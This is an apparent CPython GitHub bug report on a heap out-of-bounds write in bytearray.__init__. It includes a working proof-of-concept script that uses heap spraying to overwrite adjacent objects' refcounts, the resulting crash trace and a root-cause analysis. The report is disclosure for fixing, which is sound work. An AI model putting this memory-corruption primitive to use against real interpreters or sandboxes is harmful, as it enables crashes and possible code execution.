Skip to content

bytearray.__init__ slow-path append ignores ob_start leading to linear heap OOB write #158928

Description

@error-3317

Crash report

PoC

import sys

b = bytearray()
N, K = 400, 150            # offset K after front-shrink; alloc == N
VICTIMS = []
it = None

class EvilIter:
    def __iter__(self): return self
    def __next__(self):
        global b
        if not hasattr(self, "armed"):
            self.armed = True
            b += b'x' * N                        # size N, alloc N (major upsize)
            VICTIMS[:] = [bytes(N) for _ in range(200)]   # adjacent heap spray
            b[0:K] = b''                         # ob_start += K, quick-exit resize
            self.rc = [sys.getrefcount(v) for v in VICTIMS]
            return 0x41
        if len(b) > 448:
            raise StopIteration
        return 0x41                              # each byte lands further OOB

it = EvilIter()
b.__init__(it)
after = [sys.getrefcount(v) for v in VICTIMS]
bad = [i for i in range(len(VICTIMS)) if after[i] != it.rc[i]]
print("len(b)=%d __alloc__()=%d corrupted victims: %r"
      % (len(b), b.__alloc__(), bad[:4]))
if bad:
    print("victim[%d] refcount %d -> %#x  (OOB write proof)"
          % (bad[0], it.rc[bad[0]], after[bad[0]]))
    sys.stdout.flush()
    len(VICTIMS[bad[0]])                         # use smashed ob_type/ob_size
    print("no crash")

Output

$ python3 -X faulthandler main.py
len(b)=449 __alloc__()=489 corrupted victims: [1]
victim[1] refcount 2 -> 0x41414142  (OOB write proof)
Fatal Python error: Segmentation fault

Current thread 0x00007f0ba5586740 [python3.15] (most recent call first):
  File "<stdin>", line 33 in <module>

Current thread's C stack trace (most recent call first):
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _Py_DumpStack+0x30 [0x4f0b80]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x59968b]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x5995de]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x3c050 [0x7f0ba52bd050]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1af309b]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a2d33f]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a72484]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at PyEval_EvalCode+0xa6 [0x1a72182]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1ac87bb]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c7184d]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c71767]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c712c6]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c6fc45]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at Py_RunMain+0x422 [0x1b8d062]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8cc1d]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8ca6e]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x2724a [0x7f0ba52a824a]
  Binary file "/lib/x86_64-linux-gnu/libc.so.6", at __libc_start_main+0x85 [0x7f0ba52a8305]
  Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _start+0x29 [0x1be5437]

Root Cause

Objects/bytearrayobject.c:1117-1124: inline append tests only Py_SIZE(self)+1 < self->ob_alloc while both writes go through ob_start (= ob_bytes[offset+size]); the intended invariant is size + logical_offset <= alloc, which bytearray_resize_lock_held (:253) does check, proving the inline check is a bug.
The hostile state (offset >= 2, offset+size == ob_alloc) is reached by ordinary operations: major upsize (b += b'x'*N, alloc==size), then front-shrink (b[0:K]=b'' advances ob_start, minor-downsize quick exit). Thereafter the __init__ slow-path append loop writes each iterator byte further past the backing allocation (up to offset-1 bytes).

Versions Affected

Python 3.13+

CPython versions tested on:

3.15

Operating systems tested on:

Linux

Output from running 'python -VV' on the command line:

Python 3.15.0rc3 (main, Oct 3 2026, 01:07:55) [Clang 22.1.3 ]

Linked PRs

Activity

  1. added
    type-crashA hard crash of the interpreter, possibly with a core dump
    on Oct 6, 2026
  2. self-assigned this
    on Oct 6, 2026
  3. added 2 commits that reference this issue on Oct 7, 2026
  4. added
    3.14bugs and security fixes
    3.15bugs and security fixes
    on Oct 7, 2026
  5. added a commit that references this issue on Oct 7, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

3.14bugs and security fixes3.15bugs and security fixesinterpreter-core(Objects, Python, Grammar, and Parser dirs)type-crashA hard crash of the interpreter, possibly with a core dump

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions